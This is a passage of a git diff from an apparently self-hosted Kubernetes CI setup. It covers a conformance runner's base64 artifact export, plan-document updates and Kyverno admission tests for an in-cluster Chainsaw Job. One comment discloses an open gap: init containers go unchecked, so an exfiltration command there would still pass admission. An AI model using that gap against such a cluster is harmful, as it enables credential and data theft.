"${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" + rm -f "${tgz}" "${b64}" + exit 0 + fi + bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')" + lines="$(wc -l < "${b64}" | tr -d '[:space:]')" + sha="$(sha256sum "${tgz}" | cut -d' ' -f1)" + payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}" + printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}" + cat "${b64}" + printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}" + rm -f "${tgz}" "${b64}" + exit 0 + ) + exit "${rc}" +} + +# Armed here, AFTER the --record re-exec above, so the recorder's parent process never +# emits a second envelope into its child's tee'd log. +if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then + trap 'conf_emit_artifacts_tgz "$?"' EXIT +fi + # --- Coverage report is always produced (cluster-independent, R-TEST-04) -------------- gen_coverage() { # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no diff --git a/docs/plans/l2-l3-conformance-ci-wiring.md b/docs/plans/l2-l3-conformance-ci-wiring.md index 4e185c2..1ce25bc 100644 --- a/docs/plans/l2-l3-conformance-ci-wiring.md +++ b/docs/plans/l2-l3-conformance-ci-wiring.md @@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything | Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). | | CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. | | Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). | -| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. | +| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). | | Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). | | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. | | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. | @@ -64,11 +64,27 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12). `v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry, pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep `CHAINSAW_VERSION` as the single source of truth the image is built from. -2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an +2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`). + Init container `clone-suite-at-commit`: shallow clone, fetch the exact commit if the shallow + tip lacks it, detach, then **assert `HEAD` == the requested SHA**. SHA arrives as a + `@@CONFORMANCE_GIT_SHA@@` substitution into a Job env var and is refused unless it matches + `^[0-9a-f]{40}$`. Credential = secret `conformance-git-readonly` (read-only Gitea token) by + **name only**, delivered as env via `secretKeyRef` — not a volume, because admission allows + only `workspace` and `results`. Still to do: build the runner image (item 1) and provision + that Secret (item 6). Original text: → Add an **init-container** (`git clone --depth 1` of the impl repo, then `git checkout `) writing into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched `--requirements` are injected by the CI trigger step as Job env/args. -3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results` +3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`, + `conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run + still ships its red JUnit — that prints the artifact tree as a base64 tar between + `=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64 + line count and digest appear in **both** markers, so a truncated `kubectl logs` fails + collection instead of decoding to plausible garbage; the five checks the collector owes are + spelled out above that function. It lives in `run.sh` and not in the Job because admission + pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and + head-truncation, tail-truncation, a dropped interior line and a single corrupted character are + each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results` volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from `kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results diff --git a/platform/kyverno/tests/conformance-trigger/kyverno-test.yaml b/platform/kyverno/tests/conformance-trigger/kyverno-test.yaml index a40d5ca..c2c0b45 100644 --- a/platform/kyverno/tests/conformance-trigger/kyverno-test.yaml +++ b/platform/kyverno/tests/conformance-trigger/kyverno-test.yaml @@ -19,20 +19,24 @@ resources: userinfo: user-info.yaml results: # ---- the committed run is ADMITTED ---- + # `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it: + # init container + env-from-secretKeyRef credential + the two allowed volumes. It is here + # so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at + # 2am against the live cluster. `good-run` remains the minimal shape. - policy: conformance-trigger-job-shape rule: trigger-may-create-only-the-committed-conformance-run kind: Job - resources: [good-run] + resources: [good-run, real-template] result: pass - policy: conformance-trigger-job-shape rule: trigger-volumes-must-be-workspace-or-results kind: Job - resources: [good-run] + resources: [good-run, real-template] result: pass - policy: conformance-trigger-job-shape rule: trigger-args-must-be-the-committed-flags kind: Job - resources: [good-run] + resources: [good-run, real-template] result: pass # ---- THE escalation: runner SA + arbitrary command ---- diff --git a/platform/kyverno/tests/conformance-trigger/resources.yaml b/platform/kyverno/tests/conformance-trigger/resources.yaml index 471ed22..5b6d6d5 100644 --- a/platform/kyverno/tests/conformance-trigger/resources.yaml +++ b/platform/kyverno/tests/conformance-trigger/resources.yaml @@ -1,4 +1,79 @@ -# The committed shape — must be ADMITTED. +# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3 +# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git +# credential as env-from-secretKeyRef rather than a volume — because `workspace` and +# `results` are the only two volume names admission allows. Must be ADMITTED. +# +# This case exists so `make -C ci l0` fails if that template ever drifts out of admission. +# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes, +# securityContext, and the presence of the init container) in step with it. +# +# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init +# container's command/args/image are unconstrained. Swapping its args for an exfiltration +# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in +# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY +# case is deliberately NOT added here: it would have to assert `pass` today, and would then +# break the very PR that fixes the policy. +apiVersion: batch/v1 +kind: Job +metadata: + name: real-template + namespace: conformance +spec: + template: + spec: + serviceAccountName: conformance-runner + securityContext: + runAsNonRoot: true + runAsUser: 65532 + fsGroup: 65532 + initContainers: + - name: clone-suite-at-commit + image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999 + command: ["/bin/bash", "-c"] + args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""] + env: + - name: CONFORMANCE_GIT_SHA + value: "0123456789abcdef0123456789abcdef01234567" + # BY SECRET NAME ONLY — and as env, not as a volume. + - name: GITEA_USERNAME + valueFrom: + secretKeyRef: { name: conformance-git-readonly, key: username } + - name: GITEA_TOKEN + valueFrom: + secretKeyRef: { name: conformance-git-readonly, key: token } + volumeMounts: + - { name: workspace, mountPath: /workspace } + securityContext: + runAsNonRoot: true + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } + containers: + - name: chainsaw + image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999 + workingDir: /workspace/src/conformance + command: ["./run.sh"] + args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"] + env: + - name: CONF_ARTIFACTS + value: /results + - name: CONF_EMIT_ARTIFACTS_TGZ + value: "1" + volumeMounts: + - { name: workspace, mountPath: /workspace } + - { name: results, mountPath: /results } + securityContext: + runAsNonRoot: true + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } + volumes: + - name: workspace + emptyDir: {} + - name: results + emptyDir: {} +--- +# The minimal committed shape — must be ADMITTED. apiVersion: batch/v1 kind: Job metadata: